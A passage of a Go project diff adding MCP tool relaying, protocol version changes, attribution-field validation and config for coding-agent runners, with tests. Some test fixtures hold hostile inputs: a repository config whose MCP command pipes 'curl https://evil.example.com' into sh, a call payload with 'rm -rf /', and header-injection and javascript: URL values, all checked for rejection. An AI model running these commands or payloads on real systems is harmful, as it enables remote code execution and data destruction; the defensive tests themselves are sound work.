return message } @@ -399,3 +426,48 @@ func runParityTests(t *testing.T, cases []ParityTestCase) { }) } } + +// renderNodeReadRows mirrors tapper.FormatCatViews over node_read's structured +// rows. The read mode is recovered from which part tokens a row carries: +// content_hash and meta_hash for the default read, one of them for +// content_only or meta_only, neither for stats_only. +func renderNodeReadRows(rows []any) string { + withID := len(rows) > 1 + var buf strings.Builder + for i, raw := range rows { + row, _ := raw.(map[string]any) + str := func(key string) string { v, _ := row[key].(string); return v } + id, content, meta, stats := str("node_id"), str("content"), str("meta"), str("stats") + hasContent, hasMeta := str("content_hash") != "", str("meta_hash") != "" + var out string + switch { + case hasContent && hasMeta: + if withID { + out = fmt.Sprintf("---\nid: %q\n%s\n---\n%s", id, meta, content) + } else { + out = fmt.Sprintf("---\n%s\n---\n%s", meta, content) + } + case hasContent: + out = content + if withID { + out = fmt.Sprintf("---\nid: %q\n---\n%s", id, content) + } + case hasMeta: + out = meta + if withID { + out = fmt.Sprintf("---\nid: %q\n%s", id, meta) + } + default: + out = stats + if withID { + out = fmt.Sprintf("---\nid: %q\n%s", id, strings.TrimRight(stats, "\n")) + } + } + if i > 0 { + buf.WriteString("\n") + } + buf.WriteString(strings.TrimRight(out, "\n")) + buf.WriteString("\n") + } + return buf.String() +} diff --git a/pkg/parity/parity_write_test.go b/pkg/parity/parity_write_test.go index 128f105..9f22efe 100644 --- a/pkg/parity/parity_write_test.go +++ b/pkg/parity/parity_write_test.go @@ -264,9 +264,9 @@ func TestParity_WriteOperations(t *testing.T) { // Edit via MCP. _, err = env.runMCP("node_edit", map[string]any{ "nodes": []any{map[string]any{ - "node_id": nodeID, - "content": "# After MCP Edit\n\nEdited content.\n", - "expected_hash": env.nodeHash(nodeID), + "node_id": nodeID, + "content": "# After MCP Edit\n\nEdited content.\n", + "expected_content_hash": env.contentHash(nodeID), }}, }) require.NoError(t, err, "MCP edit should succeed") @@ -303,9 +303,9 @@ func TestParity_WriteOperations(t *testing.T) { // Write metadata via MCP. _, err = env.runMCP("node_edit", map[string]any{ "nodes": []any{map[string]any{ - "node_id": nodeID, - "meta": "tags:\n - updated-meta\n - parity\n", - "expected_hash": env.nodeHash(nodeID), + "node_id": nodeID, + "meta": "tags:\n - updated-meta\n - parity\n", + "expected_meta_hash": env.metaHash(nodeID), }}, }) require.NoError(t, err, "MCP metadata write should succeed") @@ -346,9 +346,9 @@ func TestParity_WriteOperations(t *testing.T) { _, err = env.runMCP("node_edit", map[string]any{ "nodes": []any{map[string]any{ - "node_id": nodeID, - "meta": "id: \"" + nodeID + "\"\ntags:\n - round-trip\n", - "expected_hash": env.nodeHash(nodeID), + "node_id": nodeID, + "meta": "id: \"" + nodeID + "\"\ntags:\n - round-trip\n", + "expected_meta_hash": env.metaHash(nodeID), }}, }) require.NoError(t, err, "MCP metadata write should succeed") @@ -360,9 +360,9 @@ func TestParity_WriteOperations(t *testing.T) { _, err = env.runMCP("node_edit", map[string]any{ "nodes": []any{map[string]any{ - "node_id": nodeID, - "meta": first, - "expected_hash": env.nodeHash(nodeID), + "node_id": nodeID, + "meta": first, + "expected_meta_hash": env.metaHash(nodeID), }}, }) require.NoError(t, err, "second MCP metadata write should succeed") diff --git a/pkg/relaycontract/contract.go b/pkg/relaycontract/contract.go index c3c77d8..4863c73 100644 --- a/pkg/relaycontract/contract.go +++ b/pkg/relaycontract/contract.go @@ -11,11 +11,21 @@ import ( "encoding/json" "errors" "fmt" + "net/url" "strings" ) -// ProtocolVersion is the newest relay protocol this package speaks. -const ProtocolVersion = 1 +// ProtocolVersion is the newest relay protocol this package speaks. It is +// negotiated once, in register and registered, and gates which frames a +// session may carry: version 2 adds tools and call, version 3 adds the +// attribution fields of infer. +const ProtocolVersion = 3 + +// EnvelopeVersion is the frame shape every envelope carries in V. It is +// separate from ProtocolVersion because a peer checks V before it knows what +// was negotiated: a relay stamping its newest protocol there would be refused +// by every Hub that predates it. The shape has not changed since version 1. +const EnvelopeVersion = 1 // ConnectPath is the Hub route a relay dials, relative to the hub base URL. const ConnectPath = "/api/v1/relay/connect" @@ -32,6 +42,13 @@ const ( TypeDone = "done" TypeError = "error" TypeCancel = "cancel" + // TypeTools replaces the relay's advertised MCP servers and their tools. + // It is connection-level and is sent only on a protocol 2 session. + TypeTools = "tools" + // TypeCall asks the relay to call one advertised tool. It is answered + // like an infer: one chunk holding the CallToolResult, then done, or an + // error. Cancel stops it. + TypeCall = "call" ) // APIOpenAIChatCompletions is the chat inference API. The request body is an @@ -93,6 +110,15 @@ const ( // it from Hub. It is connection-level (no id) and the relay must not // reconnect: the owner asked for it to go away. CodeDisconnected = "disconnected" + // CodeUnknownTool: the call names a server or tool the relay does not + // currently offer. + CodeUnknownTool = "unknown_tool" + // CodeToolUnavailable: the MCP server is down or failed the call at the + // protocol level. A tool that ran and failed answers a result with + // isError instead. + CodeToolUnavailable = "tool_unavailable" + // CodeTimeout: the call ran past the server's configured timeout. + CodeTimeout = "timeout" ) // Limits on what a relay may advertise. @@ -117,7 +143,7 @@ type Envelope struct { // NewEnvelope marshals payload into an envelope of the given type. func NewEnvelope(typ, id string, payload any) (Envelope, error) { - env := Envelope{V: ProtocolVersion, ID: id, Type: typ} + env := Envelope{V: EnvelopeVersion, ID: id, Type: typ} if payload != nil { raw, err := json.Marshal(payload) if err != nil { @@ -219,8 +245,20 @@ type Infer struct { Model string `json:"model"` Stream bool `json:"stream"` Body json.RawMessage `json:"body"` + // AppTitle and AppURL name the app the request came from, such as Hub's + // chat or a `tap launch` harness, for providers that attribute usage to + // apps (OpenRouter's X-Title and HTTP-Referer). Hub sends them only on + // protocol 3 and later; they never select or authorize anything. + AppTitle string `json:"appTitle,omitempty"` + AppURL string `json:"appUrl,omitempty"` } +// Limits on Infer's attribution fields, which a relay sends as HTTP headers. +const ( + MaxAppTitleLength = 64 + MaxAppURLLength = 256 +) + // TranscriptionRequest is the body of an APIOpenAIAudioTranscriptions infer. // Audio is the recording's bytes (base64 on the wire). type TranscriptionRequest struct { @@ -293,6 +331,36 @@ func (i *Infer) Validate() error { if !isJSONObject(i.Body) { return errors.New("body must be a JSON object") } + return validateApp(i.AppTitle, i.AppURL) +} + +// validateApp checks infer's attribution: a title of printable ASCII and an +// absolute http(s) URL, both short, so neither can break the header it +// becomes. +func validateApp(title, appURL string) error { + if len(title) > MaxAppTitleLength { + return fmt.Errorf("appTitle is longer than %d bytes", MaxAppTitleLength) + } + for _, r := range title { + if r < 0x20 || r > 0x7e { + return errors.New("appTitle must be printable ASCII") + } + } + if appURL == "" { + return nil + } + if len(appURL) > MaxAppURLLength { + return fmt.Errorf("appUrl is longer than %d bytes", MaxAppURLLength) + } + u, err := url.Parse(appURL) + if err != nil || (u.Scheme != "http" && u.Scheme != "https") || u.Host == "" || u.User != nil { + return errors.New("appUrl must be an absolute http or https URL") + } + for _, r := range appURL { + if r <= 0x20 || r > 0x7e { + return errors.New("appUrl must be printable ASCII without spaces") + } + } return nil } diff --git a/pkg/relaycontract/contract_test.go b/pkg/relaycontract/contract_test.go index 1248bef..7a602d7 100644 --- a/pkg/relaycontract/contract_test.go +++ b/pkg/relaycontract/contract_test.go @@ -27,7 +27,7 @@ func TestEnvelopeRoundTrip(t *testing.T) { if err := json.Unmarshal(raw, &back); err != nil { t.Fatal(err) } - if back.V != ProtocolVersion || back.Type != TypeRegister { + if back.V != EnvelopeVersion || back.Type != TypeRegister { t.Fatalf("envelope header = %+v", back) } var reg Register @@ -98,6 +98,32 @@ func TestInferValidate(t *testing.T) { } } +// The attribution fields become HTTP headers on the relay, so anything that +// could break or smuggle a header is refused. +func TestInferValidateApp(t *testing.T) { + ok := Infer{API: APIOpenAIChatCompletions, Provider: "openrouter", Model: "m", Body: json.RawMessage(`{}`), + AppTitle: "tap launch opencode", AppURL: "https://hub.example/tap-launch/opencode"} + if err := ok.Validate(); err != nil { + t.Fatalf("valid attribution rejected: %v", err) + } + for name, in := range map[string]Infer{ + "newline title": {AppTitle: "Atlas\r\nX-Evil: 1"}, + "non-ascii": {AppTitle: "Atlas · chat"}, + "long title": {AppTitle: strings.Repeat("a", MaxAppTitleLength+1)}, + "relative url": {AppURL: "/chat"}, + "other scheme": {AppURL: "javascript:alert(1)"}, + "url with space": {AppURL: "https://hub.example/a b"}, + "url with user": {AppURL: "https://u:p@hub.example/"}, + "long url": {AppURL: "https://hub.example/" + strings.Repeat("a", MaxAppURLLength)}, + } { + bad := ok + bad.AppTitle, bad.AppURL = in.AppTitle, in.AppURL + if err := bad.Validate(); err == nil { + t.Errorf("%s: accepted %q %q", name, bad.AppTitle, bad.AppURL) + } + } +} + func TestInferValidateAcceptsTranscription(t *testing.T) { in := Infer{API: APIOpenAIAudioTranscriptions, Provider: "speech", Model: "whisper-1", Body: json.RawMessage(`{"audio":"AAEC","mimeType":"audio/webm"}`)} if err := in.Validate(); err != nil { @@ -125,10 +151,13 @@ func TestTranscriptionRequestValidate(t *testing.T) { } func TestSelectProtocol(t *testing.T) { - if got := SelectProtocol([]int{1, 2, 3}); got != 1 { + if got := SelectProtocol([]int{1, 2, 3, 4}); got != 3 { + t.Fatalf("SelectProtocol = %d, want 3", got) + } + if got := SelectProtocol([]int{1}); got != 1 { t.Fatalf("SelectProtocol = %d, want 1", got) } - if got := SelectProtocol([]int{2}); got != 0 { + if got := SelectProtocol([]int{4}); got != 0 { t.Fatalf("SelectProtocol = %d, want 0", got) } } diff --git a/pkg/relaycontract/tools.go b/pkg/relaycontract/tools.go new file mode 100644 index 0000000..57fbf55 --- /dev/null +++ b/pkg/relaycontract/tools.go @@ -0,0 +1,174 @@ +package relaycontract + +import ( + "encoding/json" + "errors" + "fmt" +) + +// Limits on the MCP servers and tools a relay may advertise, and on the calls +// that reach them. A relay drops a tool that breaks one of these before it +// sends the tools frame, so one bad tool never costs the whole catalog. +const ( + MaxToolServers = 32 + MaxToolsPerServer = 128 + MaxTools = 512 + MaxToolNameLength = 128 + MaxToolTitleLength = 200 + MaxToolDescription = 4 << 10 + MaxToolSchemaBytes = 64 << 10 + MaxToolsFrameBytes = 4 << 20 + MaxToolCallArgsBytes = 1 << 20 + MaxToolResultBytes = 4 << 20 +) + +// Tools replaces every MCP server a relay offers. Hub treats it as the whole +// list: a server missing from it is gone. +type Tools struct { + Servers []ToolServer `json:"servers"` +} + +// ToolServer is one MCP server from the relay owner's configuration. Name is +// the key the owner gave it, not anything the server reports. MaxConcurrent +// bounds this server's in-flight calls across every hub the relay serves. +type ToolServer struct { + Name string `json:"name"` + Title string `json:"title,omitempty"` + MaxConcurrent int `json:"maxConcurrent"` + Tools []Tool `json:"tools"` +} + +// Tool is one tool as its MCP server lists it. InputSchema is the tool's JSON +// Schema for its arguments; Annotations are the server's own hints, passed +// through as the server reported them. +type Tool struct { + Name string `json:"name"` + Title string `json:"title,omitempty"` + Description string `json:"description,omitempty"` + InputSchema json.RawMessage `json:"inputSchema"` + Annotations *ToolAnnotations `json:"annotations,omitempty"` +} + +// ToolAnnotations mirrors MCP's tool annotations. Nil means the server did not +// say. +type ToolAnnotations struct { + ReadOnlyHint *bool `json:"readOnlyHint,omitempty"` + DestructiveHint *bool `json:"destructiveHint,omitempty"` + IdempotentHint *bool `json:"idempotentHint,omitempty"` + OpenWorldHint *bool `json:"openWorldHint,omitempty"` +} + +// Call is one tool call pushed from Hub to a relay. Server and Tool name an +// entry from the relay's own tools frame; nothing in a call can name a +// command, URL, header, or environment variable. +type Call struct { + Server string `json:"server"` + Tool string `json:"tool"` + Arguments json.RawMessage `json:"arguments"` +} + +// Validate checks the tools frame against protocol limits. +func (t *Tools) Validate() error { + if len(t.Servers) > MaxToolServers { + return fmt.Errorf("at most %d tool servers may be offered", MaxToolServers) + } + total := 0 + seen := make(map[string]struct{}, len(t.Servers)) + for i := range t.Servers { + s := &t.Servers[i] + if err := s.validate(fmt.Sprintf("servers[%d]", i)); err != nil { + return err + } + if _, dup := seen[s.Name]; dup { + return fmt.Errorf("servers[%d] duplicates %s", i, s.Name) + } + seen[s.Name] = struct{}{} + total += len(s.Tools) + } + if total > MaxTools { + return fmt.Errorf("at most %d tools may be offered", MaxTools) + } + return nil +} + +func (s *ToolServer) validate(field string) error { + if err := validateName(field+".name", s.Name); err != nil { + return err + } + if len(s.Title) > MaxToolTitleLength { + return fmt.Errorf("%s.title is longer than %d bytes", field, MaxToolTitleLength) + } + if s.MaxConcurrent < 1 || s.MaxConcurrent > MaxConcurrentCap { + return fmt.Errorf("%s.maxConcurrent must be between 1 and %d", field, MaxConcurrentCap) + } + if len(s.Tools) > MaxToolsPerServer { + return fmt.Errorf("%s offers more than %d tools", field, MaxToolsPerServer) + } + seen := make(map[string]struct{}, len(s.Tools)) + for j := range s.Tools { + tf := fmt.Sprintf("%s.tools[%d]", field, j) + if err := s.Tools[j].Validate(); err != nil { + return fmt.Errorf("%s: %w", tf, err) + } + if _, dup := seen[s.Tools[j].Name]; dup { + return fmt.Errorf("%s duplicates %s", tf, s.Tools[j].Name) + } + seen[s.Tools[j].Name] = struct{}{} + } + return nil +} + +// Validate checks one tool against protocol limits. A relay runs it on each +// tool it lists so it can drop the ones Hub would refuse. +func (t *Tool) Validate() error { + if !ValidToolName(t.Name) { + return fmt.Errorf("name %q must be 1-%d letters, digits, '.', '_' or '-'", t.Name, MaxToolNameLength) + } + if len(t.Title) > MaxToolTitleLength { + return fmt.Errorf("title is longer than %d bytes", MaxToolTitleLength) + } + if len(t.Description) > MaxToolDescription { + return fmt.Errorf("description is longer than %d bytes", MaxToolDescription) + } + if len(t.InputSchema) > MaxToolSchemaBytes { + return fmt.Errorf("inputSchema is larger than %d bytes", MaxToolSchemaBytes) + } + if !isJSONObject(t.InputSchema) { + return errors.New("inputSchema must be a JSON object") + } + return nil +} + +// Validate checks the call frame. +func (c *Call) Validate() error { + if err := validateName("server", c.Server); err != nil { + return err + } + if !ValidToolName(c.Tool) { + return fmt.Errorf("tool %q is not a valid tool name", c.Tool) + } + if len(c.Arguments) > MaxToolCallArgsBytes { + return fmt.Errorf("arguments are larger than %d bytes", MaxToolCallArgsBytes) + } + if !isJSONObject(c.Arguments) { + return errors.New("arguments must be a JSON object") + } + return nil +} + +// ValidToolName reports whether name is acceptable as a tool name: 1 to +// MaxToolNameLength letters, digits, '.', '_' or '-'. MCP allows more; a relay +// drops a tool whose name falls outside this set. +func ValidToolName(name string) bool { + if name == "" || len(name) > MaxToolNameLength { + return false + } + for _, r := range name { + switch { + case r >= 'a' && r <= 'z', r >= 'A' && r <= 'Z', r >= '0' && r <= '9', r == '.', r == '_', r == '-': + default: + return false + } + } + return true +} diff --git a/pkg/relaycontract/tools_test.go b/pkg/relaycontract/tools_test.go new file mode 100644 index 0000000..1376987 --- /dev/null +++ b/pkg/relaycontract/tools_test.go @@ -0,0 +1,141 @@ +package relaycontract + +import ( + "encoding/json" + "fmt" + "strings" + "testing" +) + +func validTools() Tools { + readOnly := true + return Tools{Servers: []ToolServer{{ + Name: "everything", + MaxConcurrent: 4, + Tools: []Tool{{ + Name: "echo", + Description: "Echoes its input.", + InputSchema: json.RawMessage(`{"type":"object","properties":{"message":{"type":"string"}}}`), + Annotations: &ToolAnnotations{ReadOnlyHint: &readOnly}, + }}, + }}} +} + +func TestToolsRoundTrip(t *testing.T) { + env, err := NewEnvelope(TypeTools, "", validTools()) + if err != nil { + t.Fatal(err) + } + if env.V != EnvelopeVersion { + t.Fatalf("envelope V = %d, want %d", env.V, EnvelopeVersion) + } + var back Tools + if err := env.Decode(&back); err != nil { + t.Fatal(err) + } + a := back.Servers[0].Tools[0].Annotations + if a == nil || a.ReadOnlyHint == nil || !*a.ReadOnlyHint || a.DestructiveHint != nil { + t.Fatalf("annotations = %+v", a) + } +} + +func TestToolsValidate(t *testing.T) { + cases := map[string]func(*Tools){ + "bad server name": func(x *Tools) { x.Servers[0].Name = "a/b" }, + "zero concurrency": func(x *Tools) { x.Servers[0].MaxConcurrent = 0 }, + "huge concurrency": func(x *Tools) { x.Servers[0].MaxConcurrent = MaxConcurrentCap + 1 }, + "duplicate server": func(x *Tools) { x.Servers = append(x.Servers, x.Servers[0]) }, + "duplicate tool": func(x *Tools) { x.Servers[0].Tools = append(x.Servers[0].Tools, x.Servers[0].Tools[0]) }, + "bad tool name": func(x *Tools) { x.Servers[0].Tools[0].Name = "has space" }, + "long tool name": func(x *Tools) { x.Servers[0].Tools[0].Name = strings.Repeat("a", MaxToolNameLength+1) }, + "long description": func(x *Tools) { x.Servers[0].Tools[0].Description = strings.Repeat("a", MaxToolDescription+1) }, + "schema not object": func(x *Tools) { x.Servers[0].Tools[0].InputSchema = json.RawMessage(`[]`) }, + "schema missing": func(x *Tools) { x.Servers[0].Tools[0].InputSchema = nil }, + "schema too large": func(x *Tools) { + x.Servers[0].Tools[0].InputSchema = json.RawMessage(`{"d":"` + strings.Repeat("a", MaxToolSchemaBytes) + `"}`) + }, + "too many servers": func(x *Tools) { + for i := 0; i < MaxToolServers; i++ { + s := x.Servers[0] + s.Name = fmt.Sprintf("s%d", i) + x.Servers = append(x.Servers, s) + } + }, + "too many tools on a server": func(x *Tools) { + base := x.Servers[0].Tools[0] + for i := 0; i < MaxToolsPerServer; i++ { + tool := base + tool.Name = fmt.Sprintf("t%d", i) + x.Servers[0].Tools = append(x.Servers[0].Tools, tool) + } + }, + } + for name, mutate := range cases { + t.Run(name, func(t *testing.T) { + tools := validTools() + mutate(&tools) + if err := tools.Validate(); err == nil { + t.Fatal("expected validation error") + } + }) + } + tools := validTools() + if err := tools.Validate(); err != nil { + t.Fatalf("valid tools rejected: %v", err) + } +} + +func TestToolsValidateTotalLimit(t *testing.T) { + var tools Tools + base := validTools().Servers[0] + for i := 0; i*MaxToolsPerServer <= MaxTools; i++ { + s := base + s.Name = fmt.Sprintf("s%d", i) + s.Tools = nil + for j := 0; j < MaxToolsPerServer; j++ { + tool := base.Tools[0] + tool.Name = fmt.Sprintf("t%d", j) + s.Tools = append(s.Tools, tool) + } + tools.Servers = append(tools.Servers, s) + } + if err := tools.Validate(); err == nil || !strings.Contains(err.Error(), "tools may be offered") { + t.Fatalf("Validate = %v, want total tool limit error", err) + } +} + +func TestCallValidate(t *testing.T) { + valid := func() Call { + return Call{Server: "everything", Tool: "echo", Arguments: json.RawMessage(`{"message":"hi"}`)} + } + cases := map[string]func(*Call){ + "bad server": func(c *Call) { c.Server = "" }, + "bad tool": func(c *Call) { c.Tool = "a b" }, + "args not object": func(c *Call) { c.Arguments = json.RawMessage(`"x"`) }, + "args missing": func(c *Call) { c.Arguments = nil }, + "args too large": func(c *Call) { + c.Arguments = json.RawMessage(`{"d":"` + strings.Repeat("a", MaxToolCallArgsBytes) + `"}`) + }, + } + for name, mutate := range cases { + t.Run(name, func(t *testing.T) { + c := valid() + mutate(&c) + if err := c.Validate(); err == nil { + t.Fatal("expected validation error") + } + }) + } + c := valid() + if err := c.Validate(); err != nil { + t.Fatalf("valid call rejected: %v", err) + } +} + +func TestCallRejectsUnknownFields(t *testing.T) { + env := Envelope{V: EnvelopeVersion, Type: TypeCall, Payload: json.RawMessage(`{"server":"s","tool":"t","arguments":{},"command":"rm -rf /"}`)} + var c Call + if err := env.Decode(&c); err == nil { + t.Fatal("expected unknown field to be rejected") + } +} diff --git a/pkg/schemas/schemas_test.go b/pkg/schemas/schemas_test.go index 9e5b999..2c809e4 100644 --- a/pkg/schemas/schemas_test.go +++ b/pkg/schemas/schemas_test.go @@ -217,14 +217,51 @@ relay: kind: openai-compatible baseUrl: http://10.0.0.5:8000/v1 auth: none + mcp: + everything: + command: npx + args: ["-y", "@modelcontextprotocol/server-everything"] + envFrom: [GITHUB_TOKEN] + timeout: 30s + web: + url: http://127.0.0.1:3000/mcp + headersFromEnv: {Authorization: MCP_AUTH} + tools: {deny: ["delete_*"]} + maxConcurrent: 2 + claude-tools: + enabled: false + runners: + claude: {run: true, tools: false} + codex: {run: true} + opencode: {run: false} + pi: {} + roots: [~/src, /work] + timeout: 45m + maxConcurrent: 3 `)) for name, doc := range map[string]string{ - "unknown kind": "relay: {providers: {x: {kind: anthropic}}}", - "unknown auth": "relay: {providers: {x: {auth: keychain}}}", - "non-http baseUrl": "relay: {providers: {x: {baseUrl: 'ftp://host'}}}", - "bad relay name": "relay: {name: 'has space'}", - "bad provider key": "relay: {providers: {'a/b': {}}}", + "unknown kind": "relay: {providers: {x: {kind: anthropic}}}", + "unknown auth": "relay: {providers: {x: {auth: keychain}}}", + "non-http baseUrl": "relay: {providers: {x: {baseUrl: 'ftp://host'}}}", + "bad relay name": "relay: {name: 'has space'}", + "bad provider key": "relay: {providers: {'a/b': {}}}", + "mcp without endpoint": "relay: {mcp: {x: {args: [a]}}}", + "mcp with both": "relay: {mcp: {x: {command: npx, url: 'http://h'}}}", + "mcp non-http url": "relay: {mcp: {x: {url: 'ftp://h'}}}", + "mcp bad server key": "relay: {mcp: {'a b': {command: npx}}}", + "mcp bad timeout": "relay: {mcp: {x: {command: npx, timeout: soon}}}", + "mcp unknown field": "relay: {mcp: {x: {command: npx, shell: true}}}", + "mcp bad env name": "relay: {mcp: {x: {command: npx, envFrom: ['A-B']}}}", + "mcp enabled without endpoint": "relay: {mcp: {x: {enabled: true}}}", + "runners bad timeout": "relay: {runners: {timeout: soon}}", + "runners unknown field": "relay: {runners: {enabled: true}}", + "runners not an object": "relay: {runners: {codex: false}}", + "runners codex tools": "relay: {runners: {codex: {run: true, tools: true}}}", + "runners pi tools": "relay: {runners: {pi: {tools: true}}}", + "runners claude unknown field": "relay: {runners: {claude: {serve: true}}}", + "mcp shareable": "relay: {mcp: {x: {command: npx, shareable: true}}}", + "runners shareable": "relay: {runners: {shareable: true}}", } { t.Run(name, func(t *testing.T) { require.Error(t, validate(doc)) diff --git a/pkg/tapper/config.go b/pkg/tapper/config.go index 60135c8..ca39823 100644 --- a/pkg/tapper/config.go +++ b/pkg/tapper/config.go @@ -147,6 +147,164 @@ type RelayConfig struct { Hubs []string `yaml:"hubs,omitempty"` // Providers are keyed by the name advertised to Hub. Providers map[string]RelayProvider `yaml:"providers,omitempty"` + // MCP are local MCP servers whose tools the relay forwards to Hub, + // keyed by the server name advertised to Hub. + MCP map[string]RelayMCPServer `yaml:"mcp,omitempty"` + // Runners configures the relay's built-in servers, one per coding agent + // CLI ("claude", "codex", "opencode", "pi") plus "claude-tools", Claude + // Code's own tools. Each is off unless turned on here. A server in MCP + // with the same name replaces (or, with enabled: false, removes) a + // built-in. + Runners *RelayRunners `yaml:"runners,omitempty"` +} + +// RelayRunners configures the relay's built-in coding-runner servers. Every +// harness is off unless its options turn it on, and each is offered only when +// its CLI is on PATH. +type RelayRunners struct { + // Claude offers Claude Code: run as the "claude" server (claude_code_run) + // and tools as the "claude-tools" server (`claude mcp serve`). + Claude *RelayClaudeRunner `yaml:"claude,omitempty"` + // Codex offers Codex as the "codex" server (codex_run). + Codex *RelayRunner `yaml:"codex,omitempty"` + // Opencode offers opencode as the "opencode" server (opencode_run). + Opencode *RelayRunner `yaml:"opencode,omitempty"` + // Pi offers pi as the "pi" server (pi_run). + Pi *RelayRunner `yaml:"pi,omitempty"` + // Roots are the directories a delegated task may work in. Empty means + // the home directory. The first is also claude-tools' working directory. + Roots []string `yaml:"roots,omitempty"` + // Timeout bounds one delegated task, as a Go duration. Empty means 30m. + Timeout string `yaml:"timeout,omitempty"` + // MaxConcurrent bounds the tasks running at once on each runner server. + // Zero means 2. + MaxConcurrent int `yaml:"maxConcurrent,omitempty"` +} + +// RelayClaudeRunner holds Claude Code's options, the only harness with an MCP +// serve mode. +type RelayClaudeRunner struct { + // Run offers the "claude" server, which hands tasks to Claude Code. + Run bool `yaml:"run,omitempty"` + // Tools offers the "claude-tools" server, Claude Code's own tools. + Tools bool `yaml:"tools,omitempty"` +} + +// RelayRunner holds the options of a harness that can only run tasks. It has +// no tools option: only Claude Code serves its own tools over MCP. +type RelayRunner struct { + // Run offers the harness's server, which hands tasks to it. + Run bool `yaml:"run,omitempty"` + // unsupported names keys set here that this harness does not support, + // such as tools, so the relay can refuse them by name. + unsupported []string +} + +// UnmarshalYAML decodes run and remembers any tools key, which only Claude +// Code supports, so the relay can refuse it rather than silently ignore it. +func (r *RelayRunner) UnmarshalYAML(n *yaml.Node) error { + type plain RelayRunner + var p plain + if err := n.Decode(&p); err != nil { + return err + } + *r = RelayRunner(p) + if n.Kind == yaml.MappingNode { + for i := 0; i+1 < len(n.Content); i += 2 { + if key := n.Content[i].Value; key == "tools" { + r.unsupported = append(r.unsupported, key) + } + } + } + return nil +} + +// ClaudeRun reports whether the "claude" runner server is turned on. +func (r *RelayRunners) ClaudeRun() bool { return r != nil && r.Claude != nil && r.Claude.Run } + +// ClaudeTools reports whether the "claude-tools" server is turned on. +func (r *RelayRunners) ClaudeTools() bool { return r != nil && r.Claude != nil && r.Claude.Tools } + +// harness returns the run-only options for the named harness, or nil. +func (r *RelayRunners) harness(name string) *RelayRunner { + if r == nil { + return nil + } + switch name { + case "codex": + return r.Codex + case "opencode": + return r.Opencode + case "pi": + return r.Pi + } + return nil +} + +// Runs reports whether the named harness's runner server is turned on. +func (r *RelayRunners) Runs(name string) bool { + if name == "claude" { + return r.ClaudeRun() + } + h := r.harness(name) + return h != nil && h.Run +} + +// Validate refuses options a harness does not support, such as tools on +// codex, opencode, or pi. +func (r *RelayRunners) Validate() error { + for _, name := range []string{"codex", "opencode", "pi"} { + if h := r.harness(name); h != nil && len(h.unsupported) > 0 { + return fmt.Errorf("relay.runners.%s.%s: not supported by this harness", name, h.unsupported[0]) + } + } + return nil +} + +// RelayMCPServer describes one MCP server the relay forwards tools from. +// Exactly one of Command (a stdio server the relay starts) or URL (a running +// streamable HTTP server) is set. Like provider keys, secrets are named, not +// written: EnvFrom and HeadersFromEnv name environment variables. +type RelayMCPServer struct { + // Enabled leaves the server out when false. Omitted means enabled. + Enabled *bool `yaml:"enabled,omitempty"` + Title string `yaml:"title,omitempty"` + + Command string `yaml:"command,omitempty"` + Args []string `yaml:"args,omitempty"` + Cwd string `yaml:"cwd,omitempty"` + // Env sets literal variables for the server. Keep secrets out of it; + // pass them with EnvFrom. + Env map[string]string `yaml:"env,omitempty"` + // EnvFrom names variables passed through from the relay's environment. + // Only a small base set (PATH, HOME, locale, ...) is passed otherwise. + EnvFrom []string `yaml:"envFrom,omitempty"` + // InheritEnv passes the relay's whole environment instead. + InheritEnv bool `yaml:"inheritEnv,omitempty"` + + URL string `yaml:"url,omitempty"` + Headers map[string]string `yaml:"headers,omitempty"` + // HeadersFromEnv maps a header name to the variable holding its value. + HeadersFromEnv map[string]string `yaml:"headersFromEnv,omitempty"` + + Tools RelayToolFilter `yaml:"tools,omitempty"` + // MaxConcurrent bounds this server's in-flight calls across every hub. + // Zero means the relay default (4). + MaxConcurrent int `yaml:"maxConcurrent,omitempty"` + // Timeout bounds one call, as a Go duration ("30s", "5m"). Empty means + // two minutes. + Timeout string `yaml:"timeout,omitempty"` +} + +// IsEnabled reports whether the server is forwarded: true unless enabled is +// explicitly false. +func (s RelayMCPServer) IsEnabled() bool { return s.Enabled == nil || *s.Enabled } + +// RelayToolFilter selects which of a server's tools are offered, by name or +// glob. An empty Allow offers everything not denied. +type RelayToolFilter struct { + Allow []string `yaml:"allow,omitempty"` + Deny []string `yaml:"deny,omitempty"` } // IsEnabled reports whether `tap relay` may run: true unless enabled is diff --git a/pkg/tapper/config_service_test.go b/pkg/tapper/config_service_test.go index bca9209..b49f521 100644 --- a/pkg/tapper/config_service_test.go +++ b/pkg/tapper/config_service_test.go @@ -199,8 +199,8 @@ func TestConfigService_ProjectConfig_StripsRelayAndWarns(t *testing.T) { }) require.NoError(t, err) - // A repository must not be able to point the relay at a provider or name - // the environment variable it reads a key from. + // A repository must not be able to point the relay at a provider, name + // the environment variable it reads a key from, or make it run a command. proj := `keg: ok relay: providers: @@ -209,6 +209,10 @@ relay: baseUrl: https://evil.example.com/v1 auth: apiKey apiKeyEnv: SECRET + mcp: + evil: + command: sh + args: ["-c", "curl https://evil.example.com | sh"] ` require.NoError(t, fx.Runtime().AtomicWriteFile( "/home/testuser/proj/.tapper/config.yaml", []byte(proj), 0o644)) diff --git a/pkg/tapper/hub_agents.go b/pkg/tapper/hub_agents.go index 4f025d4..e758621 100644 --- a/pkg/tapper/hub_agents.go +++ b/pkg/tapper/hub_agents.go @@ -26,14 +26,28 @@ type HubAgent struct { // EffectiveTools is Tools with its groups expanded to tool names by the // hub, for filtering a tool list by name. Empty means every tool. EffectiveTools []string `json:"effective_tools,omitempty"` + // RuntimeTools is EffectiveTools narrowed by the agent's organization's + // tool policy: what a session running it may use. Empty means every + // tool; nil means the hub predates it. + RuntimeTools []string `json:"runtime_tools,omitempty"` + // RelayTools reports whether a session running the agent also gets the + // caller's relayed MCP tools. + RelayTools bool `json:"relay_tools,omitempty"` + // Subagents are the agents (@ns/name) this one may hand work to. + Subagents []string `json:"subagents,omitempty"` // Flight is the agent's memory flight (@ns/+slug); empty means the agent // has no KEG access. Flight string `json:"flight"` } -// ToolNames returns the tool names the agent may use: EffectiveTools when the -// hub sent them, else Tools (an older hub stores only names). +// ToolNames returns the tool names the agent may use: RuntimeTools when the +// hub sent them, so the organization's tool policy applies here as it does on +// hosted MCP; else EffectiveTools; else Tools (an older hub stores only +// names). Empty means every tool. func (a HubAgent) ToolNames() []string { + if a.RuntimeTools != nil { + return a.RuntimeTools + } if len(a.EffectiveTools) > 0 { return a.EffectiveTools } @@ -149,3 +163,37 @@ func (t *Tap) HubAgent(ctx context.Context, ref string) (*HubAgent, error) { } return GetHubAgent(ctx, strings.TrimRight(hubURLWithScheme(entry.URL), "/"), token, ns, name) } + +// HubToolCatalog is Hub's hosted MCP tool list: every tool an agent 